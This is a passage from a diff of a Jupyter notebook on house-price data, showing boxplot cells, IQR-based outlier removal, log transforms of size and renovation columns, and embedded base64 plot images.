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/857t78/j/9WiR3woAAK9Zz549XzboEQGsuDh673vfu0K3i+XjvPPOS7/+9a/T+PHj09prr93dmwO8Rs8991wu/11ttdXS3Llzc1ZtDD5ss802ae+99+7uzeP/J4gFAACv0b///e+07bbb5ibAgwYNSrfccktaZ511unuzWI523HHHdO+99+bSwmjS/7rXva7d6//4xz+6bduAZbfXXnulgw8+OI0YMSL3MNx6663zAMQTTzyRzjzzzDRy5Mju3kSUEwIAQNcENGbNmpXWXXfdPBudGenKd+CBB3b3JgBdKALP3/ve9/Ljyy67LK233nrpn//8Z/rVr36VTj75ZEGsihDEAgCA12jNNddM999/fw5iPfjgg2ayqoF4v48++uj0tre9rbs3BegC8+fPT2ussUZ+/Pvf/z5nZUWZ+K677pqP61SDIBYAALxG73//+3MwY+DAgfn5W97yllxauKTgB81vzpw56d3vfncuJYyZyz7ykY+YhRCa2BZbbJF+85vfpIMOOihPzvHZz342L3/sscdS3759u3vz+P/piQUAAF3g6quvzj2SPv3pT6dvfOMbrSP6HX3mM59Z4dvG8vH444/nxu4XXHBBuuOOO9K73vWunJ0VpYbRSwdoHlFCePjhh+dZR9/5znfmbKxw2mmnpcmTJ6ff/e533b2JCGIBAEDXiqycs88+e4lBLMrtp3P++eenn/70p2n11VdPRxxxRDr22GPTG97whu7eNGApRW/DmTNnph122KF1xtmbb745Z2JFo3e6nyAWAADAaxAXvRdeeGEOYj3yyCO5vHTGjBnp+uuvT9/97ndby5IAeG0EsQAAoAtFM+Cl9etf/3q5bgvLz4svvpiuuOKKHLiKsqPtt98+fexjH8vlSI3+OZdffnkuL3zqqae6e3MBiqCxOwAAdKEIYETwol+/frnBe7j11ltzI/DoldSjR4/u3kS6QDTxj1koDzvssFxuNGTIkMXWefvb355nrgSga8jEAgCALvTlL385Pfnkk+mcc85pnaEwGgVHf6QIcJ1++undvYl0gWjo/sEPfjCtssoq3b0pALUhiAUAAF1o3XXXTX/961/TVltt1W75XXfdld761rem2bNnd9u2AUAz+992+wAAQJd46aWX0p133rnY8lgW5WcAwKujJxYAAHShj370o+mYY45J9913X9p5553zsptuuimddtpp+TUA4NVRTggAAF0osq3OOOOM9P3vfz/NnDkzL1t//fXTpz/96fT5z3++tU8WALBsBLEAAKALPffccylOsVdbbbU0d+7c9MADD6Rrr702bbPNNmnvvffu7s0DgKalJxYAAHSh973vfenCCy9szcraa6+90plnnpkOPPDANG7cuO7ePABoWoJYAADQhf7xj3+kPfbYIz++7LLL0nrrrZcefPDBHNg6++yzu3vzAKBpCWIBAEAXmj9/flpjjTXy49///vfp4IMPTj179ky77rprDmYBAK+OIBYAAHShLbbYIv3mN79JDz/8cLrmmmtyOWF47LHHUt++fbt78wCgaQliAQBAFzr55JPTF77whbTpppumXXbZJQ0dOrQ1K2vHHXfs7s0DgKZldkIAAOhis2bNSjNnzkw77LBDLiUMN998c87E2nrrrbt78wCgKQliAQAAAFB5ygkBAAAAqDxBLAAAAAAqTxALAAAAgMoTxAIAAACg8gSxAAAAAKg8QSwAAAAAKk8QCwAAAIBUdf8fKgBtA0t4FdoAAAAASUVORK5CYII=",
-      "text/plain": [
-       "<Figure size 1500x700 with 1 Axes>"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "0b9c6c02",
+      "metadata": {
+        "id": "0b9c6c02"
+      },
+      "outputs": [],
+      "source": [
+        "# Create a copy of the dataset for outlier handling and transformation\n",
+        "df_copy = df.copy()\n",
+        "\n",
+        "# Columns to check and remove outliers using IQR method\n",
+        "cols = [\"price\", \"sqft_lot\", \"sqft_lot15\"]\n",
+        "\n",
+        "for col in cols:\n",
+        "    Q1 = df_copy[col].quantile(0.25)\n",
+        "    Q3 = df_copy[col].quantile(0.75)\n",
+        "    IQR = Q3 - Q1\n",
+        "    threshold = 1.4  # custom threshold for outlier detection\n",
+        "    outliers = ((df_copy[col] < Q1 - IQR * threshold) | (df_copy[col] > Q3 + IQR * threshold))\n",
+        "    df_copy = df_copy[~outliers]  # remove outliers\n",
+        "\n",
+        "# Apply log transformation to reduce skewness and normalize scale for selected features\n",
+        "df_copy[\"price\"] = np.log1p(df_copy[\"price\"])\n",
+        "df_copy[\"sqft_lot\"] = np.log1p(df_copy[\"sqft_lot\"])\n",
+        "df_copy[\"sqft_above\"] = np.log1p(df_copy[\"sqft_above\"])\n",
+        "df_copy[\"sqft_living15\"] = np.log1p(df_copy[\"sqft_living15\"])\n",
+        "df_copy[\"sqft_living\"] = np.log1p(df_copy[\"sqft_living\"])\n",
+        "df_copy[\"sqft_basement\"] = np.log1p(df_copy[\"sqft_basement\"])\n",
+        "df_copy[\"yr_renovated\"] = np.log1p(df_copy[\"yr_renovated\"])\n"
       ]
-     },
-     "metadata": {},
-     "output_type": "display_data"
-    }
-   ],
-   "source": [
-    "# Plot boxplots for all numerical features to detect potential outliers\n",
-    "plt.figure(figsize=(15,7))\n",
-    "plt.xticks(rotation=90)\n",
-    "sns.boxplot(df)\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 23,
-   "id": "0b9c6c02",
-   "metadata": {},
-   "outputs": [],
-   "source": [
-    "# Create a copy of the dataset for outlier handling and transformation\n",
-    "df_copy = df.copy()\n",
-    "\n",
-    "# Columns to check and remove outliers using IQR method\n",
-    "cols = [\"price\", \"sqft_lot\", \"sqft_lot15\"]\n",
-    "\n",
-    "for col in cols:\n",
-    "    Q1 = df_copy[col].quantile(0.25)\n",
-    "    Q3 = df_copy[col].quantile(0.75)\n",
-    "    IQR = Q3 - Q1\n",
-    "    threshold = 1.4  # custom threshold for outlier detection\n",
-    "    outliers = ((df_copy[col] < Q1 - IQR * threshold) | (df_copy[col] > Q3 + IQR * threshold))\n",
-    "    df_copy = df_copy[~outliers]  # remove outliers\n",
-    "\n",
-    "# Apply log transformation to reduce skewness and normalize scale for selected features\n",
-    "df_copy[\"price\"] = np.log1p(df_copy[\"price\"])\n",
-    "df_copy[\"sqft_lot\"] = np.log1p(df_copy[\"sqft_lot\"])\n",
-    "df_copy[\"sqft_above\"] = np.log1p(df_copy[\"sqft_above\"])\n",
-    "df_copy[\"sqft_living15\"] = np.log1p(df_copy[\"sqft_living15\"])\n",
-    "df_copy[\"sqft_living\"] = np.log1p(df_copy[\"sqft_living\"])\n",
-    "df_copy[\"sqft_basement\"] = np.log1p(df_copy[\"sqft_basement\"])\n",
-    "df_copy[\"yr_renovated\"] = np.log1p(df_copy[\"yr_renovated\"])\n"
-   ]
-  },
-  {
-   "cell_type": "code",
-   "execution_count": 24,
-   "id": "a34d499a",
-   "metadata": {},
-   "outputs": [
+    },
     {
-     "data": {
-      "text/plain": [
-       "<Axes: >"
+      "cell_type": "code",
+      "execution_count": null,
+      "id": "a34d499a",
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 445
+        },
+        "id": "a34d499a",
+        "outputId": "c03e54fd-1cd4-41fd-8524-2a0b6f316bae"
+      },
+      "outputs": [
+        {
+          "output_type": "execute_result",
+          "data": {
+            "text/plain": [
+              "<Axes: >"
+            ]
+          },
+          "metadata": {},
+          "execution_count": 298
+        },
+        {
+          "output_type": "display_data",
+          "data": {
+            "text/plain": [
+              "<Figure size 1500x700 with 1 Axes>"
+            ],
+            "image/png": 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PPWW8/fbbxo8//mhcuXLF6rJcav/+/cZTTz1leHp6On14eHgYnp6eVpfnEp988olRqFAhY9SoUUauXLmMQ4cOGYZhGLNnzzaeffZZi6tznd9//91o2LCh42eb1u/w8HCjf//+FlfnGh4eHsaZM2fSHd+3b5+RL18+Cypyvbs9d//++++2eky/9NJLD/xhR+76PBYeHm4kJSWlO37p0iUjPDzcgopgprFjxzpedyUnJxsDBgwwvLy8DE9PTyN79uxGeHi4cf36dYurNFeFChWMc+fOGYZhGHFxcUZwcLDh6+trPP7440aBAgWMIkWKGIcPH7a4yvQY4ZaJTJkyRf3791fTpk118eJFx4gfPz8/RUREWFuci3Tr1k379++XJB0+fFht2rRR7ty5tXDhQr355psWV+c6ffv21cyZMyVJKSkpeuaZZ1SjRg0FBgZq9erV1hbnAu+//74ef/xxHThwQOfOndO5c+e0f/9+1a5dW5MmTVJcXJyKFi2qfv36WV3q37Zr1y7t2rVLkvTrr786vt61a5e2b9+umTNn6pFHHrG4SteIj49XYGCgJGnp0qV65ZVX1LhxY7355pvasmWLxdWZLykpSYmJiTIMQ3/88YeSkpIcHxcuXND//vc/FSlSxOoyXeLChQuKjo7WCy+8oM2bN+ull16Sn5+f6tWrp7ffftvq8lyiQ4cO8vT01NKlSxUTE6Nt27Zp27Zt2r59u7Zt22Z1eS6RNgp56NChypYtm+N4rVq1tHv3bgsrc61+/fope/bsiouLU+7cuR3HW7dureXLl1tYmflCQ0MVGhoqDw8PdejQwfF1aGioWrRooZCQENWtW9fqMl3CMAx5eHikO75z504VKFDAgopcw9fX1/Hh4+Oj6Ohobd261XE+JiZG0dHR8vX1tbBK13HX57E5c+Y4Rufe6s8//9TcuXMtqMj1XnrpJafnsLSPVq1aqV27dho+fLj27dtndZmmeOuttxyzKyZOnKhZs2Zp6tSp2r17t6KiorRs2TJNnDjR4irNFRsb61j64K233nKMWN28ebOOHTumxx57TEOHDrW4yjuwOvHD/1ehQgXj22+/NQzDMPLmzeu4ArN7926jYMGCFlbmOj4+PsbBgwcNwzCMMWPGGI0bNzYMwzDWrVtnFC9e3MrSXOqRRx4xtmzZYhiGYXz77bdGQECAsW/fPuPtt9826tata3F15itVqpSxffv2dMe3bdtmlCxZ0jAMw1i/fr1RtGjRDK7MfGkjItJGvtz+kTt3bmPmzJlWl+kSxYoVc4xwK1u2rPHVV18ZhmEYsbGxthwhcevP+k4f2bJlM0aNGmV1mRliz549RlhYmJE9e3ZbjQy5Ve7cuY3ffvvN6jIyVM6cOR2j7W99XbJ//34jZ86cVpbmUv7+/saOHTsMw3Du96FDh4w8efJYWZrpOnToYHTo0MHw8PAwWrdu7fi6Q4cORteuXY3333/fOHv2rNVlmsrPz8/Inz+/4enp6fg87cPHx8fw9PQ0/vWvf1ldpku8+eabRufOnY3k5GTHseTkZKNr167GwIEDLazMddzteSwxMdG4ePGi4eHhYRw8eNBITEx0fJw/f96YM2eOUaxYMavLdImwsDDD19fXKFGihBEaGmqEhoYawcHBhp+fn/HKK68Y5cqVM7y9vY1169ZZXerfdutMmurVqxuffvqp0/nPP//cqFSpkhWlucytfS5VqpTxww8/OJ1fv369ERgYaEVp95Td6sAP/9+RI0dUvXr1dMe9vb11+fJlCypyPcMwlJqaKklauXKl/vGPf0iSAgMD9fvvv1tZmkv9/vvvKlq0qCTpf//7n15++WWVLVtWHTt21KRJkyyuznynT5++62LM8fHxkqSAgIA7roOV1Rw5ckSGYahUqVLavHmzChcu7Djn5eWlIkWKOF1htZPQ0FC1bdtWjz76qM6dO6cXXnhBkrR9+3aVKVPG4urMt2rVKhmGoeeee07ffPON04gILy8vlShRQgEBARZW6Dr79+/X6tWrtXr1aq1Zs0bXrl3T008/rQ8//FDPPvus1eW5RMWKFW39d+lOSpYsqR07dqhEiRJOx5cvX64KFSpYVJXrXb582WlkW5rz58/L29vbgopcZ/bs2ZKk4OBgDRw4UHny5LG4IteLiIiQYRjq2LGjRo4c6TSyy8vLS8HBwapTp46FFbrOrFmztG7dOqfXIdmyZVP//v1Vt25dffDBBxZW5xru9jzm5+cnDw8PeXh4qGzZsunOe3h4aOTIkRZU5npFixZV27ZtFRkZKU/PmxP5UlNT1adPH+XLl09ffvml3njjDQ0ePFjr1q2zuNq/L22EblxcXLqRyHXr1tWRI0esKMul0vp89epVFStWzOncI488orNnz1pR1j0RuGUi7vYHQbo5nHvUqFFq1KiR1qxZoylTpki6GVr4+/tbXJ3r+Pv769dff1WxYsW0fPlyR7+vXLliyzCmQYMG6tatm2bMmOEIlbdv367u3bs7NhDYvXu3SpYsaWWZpkh7/KYFye5k4sSJKlmypOLi4jRu3DjlzZtX0s3A9V//+pfF1ZnvmWeekXTz+SowMNDx4s4dlC9fXoULF1afPn00ZMgQValS5Y5Ts+xk7NixevPNN/X++++rSpUqypEjh9N5Hx8fiypznf79+6tHjx66evWqDMPQ5s2bNX/+fI0ePVozZsywujyXefrppzV37lz95z//kXTzBX5qaqrGjRtn2w0Ehg8fbnUJGSYsLEzSzdfddevWTfdYtrPk5GTFxsaqXLlyTsdjY2Nt+7rF3Z7H3Pli4MyZM7V+/Xqn12Oenp7q1auX6tatq/fff189e/bU008/bWGV5pk+fbry5s0rLy+vdJve/PHHH7a7QCRJDRs2VPbs2ZWUlKR9+/apcuXKjnPHjh1TwYIFLazuzgjcMhF3+4Mg3bzK2K5dOy1atEhDhw51jIL5+uuvbbtmiCSFh4frlVdeUbFixeTh4aFGjRpJkjZt2qTy5ctbXJ35Zs6cqddee001a9Z0vLBNTk5Ww4YNHWvZ5c2bV+PHj7eyTNMdOnRIERER+u233yTdHCHTp08flS5d2uLKzHfjxg1169ZN77zzTrrg1A5r891LiRIldPHiRW3evFlnzpxJ96bl9ddft6gy1+ndu7fWrl2rd999V0uXLtWzzz6rZ599Vk899dQdRwbZQdrzdMOGDZ2OG/+3DpTddlqWpM6dOytXrlx6++23deXKFbVt21YBAQGaNGmS2rRpY3V5LjNu3Dg1bNhQW7du1fXr1/Xmm29q7969On/+vNavX291eS6RkJCggQMHKjo6WmfOnEm3I6tdfr+TkpIcn1evXl1//vnnHde5kuwZooeHh6tTp046dOiQnnjiCUk3X3uOGTNG4eHhFlfnGu72PObOFwPTAuXbR/bFxsY6nsNy5sxpiwuEQUFBmj59uqSbs+G2bdum+vXrO86vWrUqXbCe1d1+YSjtwn6aJUuWZMow1cO4/S8qLPXFF19oxIgROnTokKSb0+xGjhypTp06WVxZxrp69aqyZctm66uOX3/9tY4fP66XX35ZxYsXl3RzgVM/Pz+1aNHC4upcIzY21rFJRrly5Wz3h+BWK1asUPPmzVWtWjXVq1dPkrR+/Xrt3LlTS5Ys0fPPP29xhebz9fXVjh07bDFS8WEsWbJE7dq106VLl+Tj4+P0Qs7DwyPdVUc7uXjxon7++WetWbNGa9as0d69e1W9enVbhhJr1qy55/m0Nzl2deXKFV26dMm2G4HcLjExUZGRkdq5c6cuXbqkGjVqqEePHummsNjFCy+8oLi4OPXs2dNxMfBWdnld4unped8323YO0VNTU/Xhhx9q0qRJOn36tCSpWLFi6tOnjwYMGGDLWRa3crfnMelmn+Pi4nT9+nWn44899phFFblO7969NX/+fP373//W448/LknasmWL3n//fbVt21aTJk3SjBkzFBUVZYsppfeyceNGeXt733G5KmQsArdMyh3/IFy6dCndyBA7Xl2Ee6hevbpCQkI0ZswYp+NDhgzRDz/8YMtdDcPCwlStWjXbj2i7XdmyZdW0aVO9//77th3ddTfnzp3TmjVrtGrVKq1evVq//vqr8ufP73ZrnQFZXb58+fTzzz+rWrVqVpfiUvcLzm9l9xA9bbQfr7Xt6ezZswoPD9f3339/x/N2DJRTUlI0ZswYRUZGKiEhQdLNZXx69eqlwYMHK1u2bIqLi5Onp6djsAPgagRumciRI0eUnJysRx991On4gQMHlCNHDgUHB1tTmAsdOXJEPXv21OrVq3X16lXHcTtfXUyzZcsWrVq16o5T0CZMmGBRVa6RkpKiqKgox1SV2/v7008/WVSZ6+TMmVO7d+9O93jev3+/HnvsMaffd7sYNWqUxo8fr4YNG6pmzZrpFt/u3bu3RZW5Vp48ebR7926VKlXK6lIyTO/evZ0Ctvr16+uZZ57Rs88+a+v13C5evKiZM2c6polXqlRJHTt2dFp0PaurXr36A//87HjhQJLKlCmj9u3bq127dumew+2qYsWK+uKLLxgN4QaSk5O1evVqHTp0SG3btlW+fPl06tQp+fj4pJuilVXxPCa1a9dOx44dU0REhJ599ll9++23SkhIcLxWa9asmdUlupS7B8oXLlzQkiVLbLmsyd0cOnRIXbp0yXTvK1nDLRPp0KGDOnbsmO7F3aZNmzRjxgytXr3amsJcqH379jIMQ7NmzZK/v79t36Td7v3339fbb7+tcuXKpeu3Hf8P+vTpo6ioKDVr1kyVK1e2ZR9vV7hwYe3YsSPd43nHjh22Hbk6c+ZM+fn5KSYmRjExMU7nPDw8bBu4hYSEaOvWrW4VuJ0+fVpdu3bVs88+67RgrZ1t3bpVISEhypUrl2PtowkTJui9997TDz/8oBo1alhcoTlatmzp+Pzq1av65JNPVLFiRceujRs3btTevXttuRFKmh49emjevHl69913VbNmTbVv316tW7d27C5uRxERERoyZIg+/fRTW17gTbNr1y5VrlxZnp6e2rVr1z3b2nHK3bFjx9SkSRPFxcXp2rVrev7555UvXz6NHTtW165d09SpU60u0RQ8j928mP3dd9+pVq1a8vT0VIkSJfT888/Lx8dHo0ePtn3g5q5BW5q4uDiFh4e7VeB26dKlhxrFnFEY4ZaJ+Pj4aNu2bY6NA9IcPHhQtWrV0sWLF60pzIXy5s2rmJgYW6/ldSf+/v4aO3asOnToYHUpGaJQoUKaO3eumjZtanUpGebdd9/VxIkTNWTIEMcGIOvXr9fYsWPVv39/vfPOOxZXCLPMnDlT7777rsLDw++4e2Xz5s0tqgxmevrpp1WmTBlNnz5d2bPfvF6ZnJyszp076/Dhw1q7dq3FFZqvc+fOKlasmGO3zjTDhw/X8ePHNWvWLIsqyxj79+/XF198ofnz5+vIkSNq0KCB2rdvb8s3MPnz59eVK1eUnJys3Llzp3ses8talJ6enoqPj1eRIkUc67nd6a2QXWdZtGzZUvny5dPMmTNVsGBB7dy5U6VKldLq1avVpUsXHThwwOoSTeeuz2M+Pj7atWuXgoODVaJECc2bN0/16tXTkSNHVKlSJV25csXqEk3nLpu/SM4bwNzJrl279Mwzz9iqz5MnT77n+ZMnT+rDDz/MdH0mcMtEfH19tXr16nTD+WNiYvTss8/qjz/+sKgy12nQoIGGDh3q2P3NXRQrVkxr1651m6kqAQEBWr16dbpdg+zMMAxFRERo/PjxOnXqlKSb/w+DBg1S7969bT/KL+1Pi937KemeO4DZ9U2bJH322WeaOnWqjhw5og0bNqhEiRKKiIhQyZIlbbPA+q1y5cql7du3p9tJ+tdff1WtWrVs+ebF19dXW7duveNSF7Vq1VJiYqJFlWW8jRs3qnv37tq1a5ctH9Nz5sy55/mwsLAMqsS1jh07pqCgIHl4eOjYsWP3bFuiRIkMqirjFCxYUL/88ovKlSunfPnyOQK3o0ePqmLFijyP2cjjjz+uUaNGKSQkRM2bN5efn59Gjx6tyZMn6+uvv3Zs0Gcn7rL5i3T/DWDsuDyTp6enihUrJi8vrzuev379uuLj4zNdn5lSmonUr19fo0eP1vz58x27BKWkpGj06NF66qmnLK7ONWbMmKE33nhDJ0+eVOXKldNdUbXjcH5J6tevnz7++GNFRERYXUqGGDBggCZNmqTIyEi3CGCkm0FLv3791K9fP0dYni9fPourcr25c+fqgw8+cFwlL1u2rAYNGqTXXnvN4spc5/Y1Cd3BlClTNGzYMPXt21fvvfee48WNn5+fIiIibPWiNo2Pj4/i4uLSBW7Hjx+37WM7V65cWr9+fbo3quvXr1fOnDktqipjbd68WfPmzdOCBQuUlJSkl19+2eqSXMIugdr93Bqi2TFQu5/U1NQ7vhk9ceIEz2M206dPH8dOtMOHD1eTJk30+eefy8vL674Be1a1bt06t9j8Rbr5nmLo0KGqXbv2Hc8fOHBA3bp1y+CqXKtEiRIaO3asXnnllTue37Fjh2rWrJnBVd0fgVsmMnbsWNWvX1/lypXT008/LUn6+eeflZSUlOkW/zPL2bNndejQIYWHhzuOpQ3vt1sqf6uBAweqWbNmKl26tCpWrJguaPzvf/9rUWWusW7dOq1atUrff/+9KlWqZPv+3s6uL2JvN2HCBL3zzjvq2bOn6tWrJ+nmz/6NN97Q77//7na7l9rZRx99pOnTp6tly5ZOO/HWqlVLAwcOtLAy12ndurU6deqkDz/80Gma+KBBg/Tqq69aXJ1r9O3bV927d9e2bdsc69Zt2rRJs2bNsvW0+Nunkj733HMaO3asQkNDbbOo/J0cOnRIs2fP1qFDhzRp0iQVKVJE33//vYKCglSpUiWryzPd3Llz73nejlOHGzdurIiICE2bNk3Szdfcly5d0vDhw2277Ie7Po+1b9/e8XnNmjV17NgxxcbGKigoSIUKFbKwMtcJDAy84xRxO0pbN/Zuuyn7+fnZ7v+iZs2aiomJuWvgdrclAqzGlNJM5tSpU4qMjNTOnTuVK1cuPfbYY+rZs6cKFChgdWkuUbFiRVWoUEFvvvnmHTdNsOvVx549e2rGjBlq0KDBHfs9e/ZsiypzjVsD1TuxS3/dfVeskiVLauTIkenepMyZM0cjRozQkSNHLKrM9dasWaMPP/zQsXtlxYoVNWjQIMfFE7vJlSuXYmNjVaJECadpSQcOHNBjjz2mP//80+oSTXf9+nUNGjRIU6dOVXJysiQpR44c6t69u8aMGSNvb2+LK3SNr776SpMmTXL8bleoUEF9+vS56wteO/D09NTjjz+utm3bqk2bNvL397e6JJdbs2aNXnjhBdWrV09r167Vb7/9plKlSmnMmDHaunWrvv76a6tLNF3+/Pmdvr5x44auXLkiLy8v5c6d2zbr1t3qxIkTCgkJkWEYjimVBw4cUKFChbR27VrbburkLs9j/fv3f+C2EyZMcGEl1vjhhx80fvx422/+IknTp0/Xn3/+edcNyRISEjR16lQNHz48gytznV9//VVXrlxRrVq17nj+xo0bOnXqVKbLDwjcYKk8efJo586d6TaKsLt8+fLpyy+/tP0OQe5m5MiRD9zWTn8A0+TMmVN79uxJ93g+cOCAqlSpoqtXr1pUmWt9/vnnCg8PV2hoqGNk3/r16/Xtt98qKipKbdu2tbhC81WsWFGjR49WixYtnAK3jz76SLNnz7ZloJzmypUrjrVvSpcurdy5c1tcEcx24MABt1ljNU2dOnX08ssvq3///k6P6c2bNys0NFQnTpywusQMceDAAXXv3l2DBg1SSEiI1eW4RHJyshYsWKCdO3fq0qVLqlGjhtq1a6dcuXJZXRr+pgYNGjxQOw8PD1vOnnKXzV+QtRC4Wczdtyd/8cUX1aFDB7Vq1crqUjJUiRIltGLFinRrAcH9zJ8/X82bN1eePHmsLuVvq1y5stq2bat///vfTsdHjRqlBQsWaPfu3RZV5loVKlRQ165d002ZnTBhgqZPn+64om4nM2bM0IgRIzR+/Hh16tRJM2bM0KFDhzR69GjNmDFDbdq0sbpE4G+LiYlxGrWaNoXHjvLmzavdu3erZMmS6RbTL1++vG0vmNzJ1q1b1b59e8XGxlpdiunWrl2runXrOnZaTpOcnKxffvlF9evXt6gy17v18VypUqV0m9Qh63OXzV/c3XPPPaf//ve/8vPzczqelJSkli1bZrowmcDNYu6+Pfm0adM0atQodezYUVWqVEl3JaJ58+YWVeZas2fP1vLlyzV79mzbjo6oUaOGoqOjlT9//vtOtbTzaJj78fHx0Y4dO1SqVCmrS/nbvvnmG7Vu3VqNGjVyGukVHR2tr776Si+99JLFFbqGt7e39u7dm25k38GDB1W5cmXbvlH94osvNGLECMdor4CAAI0cOVKdOnWyuDLzhIaGKioqSj4+PgoNDb1nWzuuRZmSkqKJEyfqq6++UlxcnK5fv+503q6jBc6cOaPWrVtrzZo1jhf0Fy9eVIMGDfTll1+qcOHC1hboAsWLF9dXX32lunXrOgVu3377rQYOHGjLHQ3vZseOHapfv76SkpKsLsV02bJl0+nTp9NNHT137pyKFCliy/caZ86cUZs2bbR69Wq3eTzDfUyePPmOxz08PJQzZ06VKVNG9evXd2zIaAe35ie3OnPmjB555BHduHHDosrujE0TLHbkyBHHE72d1ze6mzfeeEOS9O6776Y7Z9eQUbr55Hjo0CH5+/srODg4XdBohwCqRYsWjjWNWrRo4Ta7kz4sO13zaNWqlTZt2qSJEydq0aJFkm6O/tq8ebOtryQHBgYqOjo6XeC2cuVKBQYGWlSV67Vr107t2rXTlStXdOnSJVuu/ePr6+t47vLx8XG757GRI0dqxowZGjBggN5++20NHTpUR48e1aJFizRs2DCry3OZXr166dKlS9q7d68qVKgg6ebaMWFhYerdu7fmz59vcYXma9OmjQYPHqyFCxfKw8NDqampWr9+vQYOHGjLzQMkafHixU5fG4ah06dPKzIy0nHRyG7SNiW73blz52wx0v5OevXqpT/++MOtHs/uLCUlRYsWLXIazdi8eXNbBU63mjhxos6ePasrV6441qW8cOGCcufOrbx58+rMmTMqVaqUVq1aleVfk946G/DXX39VfHy84+uUlBQtX75cjzzyiBWl3RMj3DKJGzduqFu3bnrnnXdUsmRJq8uBi91vrS87ru+FO7t1JAGypilTpqhv377q2LGj0+6VUVFRmjRpku22ZYf7KF26tCZPnqxmzZopX7582rFjh+PYxo0bNW/ePKtLdAlfX1+tXLlSjz/+uNPxzZs3q3Hjxrp48aI1hbnQ9evX1aNHD0VFRSklJUXZs2dXSkqK2rZtq6ioKFu+WfX09HT62sPDQ4ULF9Zzzz2n8ePHq1ixYhZVZr60EbrfffedmjRp4rTJS0pKinbt2qVy5cpp+fLlVpXoMu74eHZXBw8eVNOmTXXy5EmVK1dOkrRv3z4FBgZq2bJlKl26tMUVmm/+/PmaNm2aZsyY4ejfwYMH1a1bN3Xt2lX16tVTmzZtVLRo0Sy/+U3abEDpzgMWcuXKpY8++kgdO3bM6NLuicAtE/H19dWOHTsI3GA7nTt3Vvv27fXss89aXUqmY7fAzd2uLKb59ttvNX78eKcd0AYNGqQWLVpYXJl53H2aeFZbM8QMefLk0W+//aagoCAVK1ZMy5YtU40aNXT48GFVr15diYmJVpfoEvny5dPPP/+satWqOR3fvn27nnnmGVtONUwTFxenPXv26NKlS6pevbrbbR5hV2m7xc+ZM0evvPKK0wYJXl5eCg4OVpcuXVSoUCGrSnQZd348u5umTZvKMAx98cUXKlCggKSbozfbt28vT09PLVu2zOIKzVe6dGl98803d